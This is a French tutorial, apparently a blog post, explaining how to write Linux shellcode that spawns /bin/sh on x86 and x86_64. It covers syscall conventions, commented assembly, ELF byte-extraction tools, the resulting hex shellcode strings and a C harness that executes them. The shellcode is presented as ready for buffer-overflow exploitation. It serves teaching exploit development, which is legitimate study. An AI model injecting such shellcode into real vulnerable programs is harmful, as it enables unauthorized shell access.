0x1 – Définition
Les shellcodes sont utilisés le plus souvent comme code arbitraire ou malveillant que l’on injecte dans la mémoire d’un programme vulnérable.
Un shellcode a la forme d’une chaîne de caractères sous forme hexadécimale contenant en réalité une suite d’instructions assembleur permettant le plus souvent de générer un shell ou une invite de commande.
0x2 – Les appels systèmes
Pour concevoir un shellcode GNU/Linux on utilise les appels système (syscall) qui sont idéntifiés par des numéros et doivent être placés dans le registre eax en x86 et rax en x86_64.
Certains syscall ont besoin d’arguments pour pouvoir fonctionner, ces arguments lorsqu’ils ne dépassent pas le nombre de 6 sont placés dans des registres.
Sur une architecture x86, le premier registre d’argument est le registre ebx, le second est ecx, le troisème edx, le quatrième esi, puis edi et le dernier est le registre ebp.
Alors que pour une architecture x86_64, les registres sont dans l’odre: rdi, rsi, rdx, rcx, r8, et r9.
Pour les syscall nécessitants plus de 6 arguments, une structure contenant tous les arguments est donnée en premier et unique argument, donc dans le registre ebx pour x86 et rdi pour x86_64.
Une fois les arguments placés dans les registres adéquats, on exécute le syscall grâce à l’instruction « int 0x80 » en x86 et « syscall » en x86_64.
Pour connaître le numéro ou identifiant d’un syscall, on peut regarder dans les fichiers « /usr/include/asm/unistd_32.h » et « /usr/include/asm/unistd_64.h » selon l’architecture.
0x3 – Écriture du shellcode x86
Dans ce document le but de notre shellcode sera de lancer un shell « /bin/sh ». Pour exécuter ce shell nous allons utiliser la fonction execve dont le prototype est :
1 2 | int execve(const char *filename, char *const argv[], char *const envp[]); |
On peut voir dans ce prototype que la fonction execve prend 3 arguments. Le premier : un pointeur vers la string contenant la commande à exécuter, le deuxième : un tableau d’arguments pour la commande et le troisième : un tableau de variables d’environnement.
Avant de s’attaquer au code assembleur, regardons à quoi cela ressemblerait en langage C :
1 2 3 4 5 6 | #include <unistd.h> void main(void) { execve("/bin/sh", 0, 0); } |
Passons maintenant au code assembleur.
Avec la commande « grep » on peut facilement trouver le syscall d’execve :
1 2 | $ grep execve /usr/include/asm/unistd_32.h #define __NR_execve 11 |
En ce qui concerne la string « /bin/sh » dont nous avons besoin pour la fonction execve(), il existe deux restrictions :
Pour contourner ces deux restrictions, on va utiliser une petite technique utilisant les instructions jmp, call et pop.
Voici le code commenté de cette technique :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | section .text global _start _start: xor ebx,ebx ; on met ebx à 0, donc bl aussi jmp getString ; on jump sur getString getStringReturn: pop ecx ; on pop dans ecx le haut de la stack, ; soit le ptr sur notre string "hello world#" mov [ecx+11],bl ; on écrase le '#' par bl, donc 0 getString: ; le call va pusher sur la stack l'adresse de l'instruction qui suit, ; soit l'adresse de notre string "hello world#" call getStringReturn db "hello world#" |
Nous avons donc maintenant toutes les connaissances nécessaires à l’écriture de notre shellcode devant exécuter « /bin/sh » grâce à la fonction execve() :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | section .text global _start _start: jmp GetString GetStringReturn: pop esi ; esi = ptr sur "/bin/sh#" xor eax,eax ; eax = 0 mov byte [esi+7],al ; on écrase le '#' ; esi = ptr sur "/bin/sh" mov dword [esi+8],eax ; esi+8 = 0 mov al, 0xb ; on place le syscall (11) dans eax lea ebx,[esi] ; premier argument = "/bin/sh" lea ecx,[esi+8] ; second argument = 0 lea edx,[esi+8] ; troisième argument = 0 int 0x80 ; on exécute le syscall GetString: call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack db "/bin/sh#" |
On assemble ce code avec nasm de la façon suivante :
1 2 | $ nasm -f elf32 shellcode.asm $ ld shellcode.o -o shellcode -m elf_i386 |
Maintenant il nous faut obtenir les bytes qui vont former notre shellcode pour pouvoir l’injecter dans la mémoire du programme vulnérable.
On peut obtenir ces bytes avec l’outil objdump de cette façon :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | $ objdump -d ./shellcode ./shellcode: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 15 jmp 8048077 <GetString> 08048062 <GetStringReturn>: 8048062: 5e pop %esi 8048063: 31 c0 xor %eax,%eax 8048065: 88 46 07 mov %al,0x7(%esi) 8048068: 89 46 08 mov %eax,0x8(%esi) 804806b: b0 0b mov $0xb,%al 804806d: 8d 1e lea (%esi),%ebx 804806f: 8d 4e 08 lea 0x8(%esi),%ecx 8048072: 8d 56 08 lea 0x8(%esi),%edx 8048075: cd 80 int $0x80 08048077 <GetString>: 8048077: e8 e6 ff ff ff call 8048062 <GetStringReturn> 804807c: 2f das 804807d: 62 69 6e bound %ebp,0x6e(%ecx) 8048080: 2f das 8048081: 73 68 jae 80480eb <GetString+0x74> 8048083: 23 .byte 0x23 |
0x4 – get-shellcode-32
On peut aussi utiliser mon outil « get-shellcode-32.c » qui affiche directement la string à placer dans l’exploit, voici le code de cet outil :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <elf.h> void print_shellcode_32 (unsigned char *data); int main (int argc, char *argv[]) { int fd; struct stat sb; unsigned char *data; unsigned char *text; if (argc != 2) { fprintf (stderr, "usage: %s <bin>\n", argv[0]); return (1); } if ((fd = open (argv[1], O_RDONLY)) == -1) { perror ("error: open"); exit (EXIT_FAILURE); } if ((fstat (fd, &sb)) == -1) { perror("error: fstat"); exit (EXIT_FAILURE); } if ((data = (unsigned char *)mmap (0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { perror ("error: mmap"); exit (EXIT_FAILURE); } if((strncmp (data, ELFMAG, 4)) != 0) { fprintf (stderr, "error: bin: Not an ELF file\n"); exit (EXIT_FAILURE); } if (data[EI_CLASS] == ELFCLASS32) print_shellcode_32 (data); else { fprintf (stderr, "error: bin: Unknown architecture\n"); exit (EXIT_FAILURE); } close (fd); return 0; } void print_shellcode_32 (unsigned char *data) { Elf32_Ehdr *ehdr = (Elf32_Ehdr *)data; Elf32_Shdr *shdr = (Elf32_Shdr *)(data + ehdr->e_shoff); unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset; unsigned char *pbyte; Elf32_Off offset = 0; uint32_t size = 0, n = 0; int i; for (i = 0; i < ehdr->e_shnum; i++) { if (!strcmp (strtab + shdr[i].sh_name, ".text")) { offset = shdr[i].sh_offset; size = shdr[i].sh_size; break; } } if (!offset && !size) { fprintf (stderr, "error: bin: No .text section\n"); exit (EXIT_FAILURE); } pbyte = data + offset; printf ("""); while (n < size) { printf ("\\x%.2x", *pbyte); pbyte++; n++; if (!(n % 15)) printf (""\n""); } if (n % 15) printf ("""); printf ("\n"); } |
Exemple d’utilisation :
1 2 3 4 | $ ./get-shellcode-32 shellcode "\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e" "\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68\x23" |
0x5 – Écriture du shellcode x86_64
Ici le principe étant le même, on va simplement réécrire le même shellcode mais pour une architecture x86_64 :
1 2 | $ grep execve /usr/include/asm/unistd_64.h #define __NR_execve 59 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | section .text global _start _start: jmp GetString GetStringReturn: pop rbx ; rbx = ptr sur "/bin/sh#" xor rax,rax ; rax = 0 mov byte [rbx+7],al ; on écrase le '#' ; rbx = ptr sur "/bin/sh" mov qword [rbx+8],rax ; rbx+8 = 0 mov al, 0x3b ; on place le syscall (59) dans rax lea rdi,[rbx] ; premier argument = "/bin/sh" lea rsi,[rbx+8] ; second argument = 0 lea rdx,[rbx+8] ; troisième argument = 0 syscall ; on exécute le syscall GetString: call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack db "/bin/sh#" |
On assemble cette fois-ci le code avec les deux commandes :
1 2 | $ nasm -f elf64 shellcode.asm $ ld shellcode.o -o shellcode -m elf_x86_64 |
0x6 – Get-shellcode-64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <elf.h> void print_shellcode_64 (unsigned char *data); int main (int argc, char *argv[]) { int fd; struct stat sb; unsigned char *data; unsigned char *text; if (argc != 2) { fprintf (stderr, "usage: %s <bin>\n", argv[0]); return (1); } if ((fd = open (argv[1], O_RDONLY)) == -1) { perror ("error: open"); exit (EXIT_FAILURE); } if ((fstat (fd, &sb)) == -1) { perror("error: fstat"); exit (EXIT_FAILURE); } if ((data = (unsigned char *)mmap (0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { perror ("error: mmap"); exit (EXIT_FAILURE); } if((strncmp (data, ELFMAG, 4)) != 0) { fprintf (stderr, "error: bin: Not an ELF file\n"); exit (EXIT_FAILURE); } if (data[EI_CLASS] == ELFCLASS64) print_shellcode_64 (data); else { fprintf (stderr, "error: bin: Unknown architecture\n"); exit (EXIT_FAILURE); } close (fd); return 0; } void print_shellcode_64 (unsigned char *data) { Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data; Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff); unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset; unsigned char *pbyte; Elf64_Off offset = 0; uint64_t size = 0, n = 0; int i; for (i = 0; i < ehdr->e_shnum; i++) { if (!strcmp (strtab + shdr[i].sh_name, ".text")) { offset = shdr[i].sh_offset; size = shdr[i].sh_size; break; } } if (!offset && !size) { fprintf (stderr, "error: bin: No .text section\n"); exit (EXIT_FAILURE); } pbyte = data + offset; printf ("""); while (n < size) { printf ("\\x%.2x", *pbyte); pbyte++; n++; if (!(n % 15)) printf (""\n""); } if (n % 15) printf ("""); printf ("\n"); } |
Utilisation :
1 2 3 4 | $ ./get-shellcode-64 shellcode-64 "\xeb\x1a\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x43\x08\xb0\x3b" "\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x08\x0f\x05\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" |
0x7 – Test du shellcode
Si on veut tester les shellcodes, il faut passer par un programme C intermédiaire (test-shellcode.c) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #include <stdio.h> #include <string.h> #include <sys/mman.h> char sc[] = "\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e" "\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68\x23"; void main() { printf("sc length: %u\n", strlen(sc)); void * a = mmap(0, sizeof(sc), PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); ((void (*)(void)) memcpy(a, sc, sizeof(sc)))(); } |
1 2 3 | $ ./test-shellcode sc length: 36 sh-4.2$ |
Voilà, on a bien obtenue notre shell « /bin/sh ». On a plus qu’à l’utiliser dans une exploitation de type buffer overflow par exemple.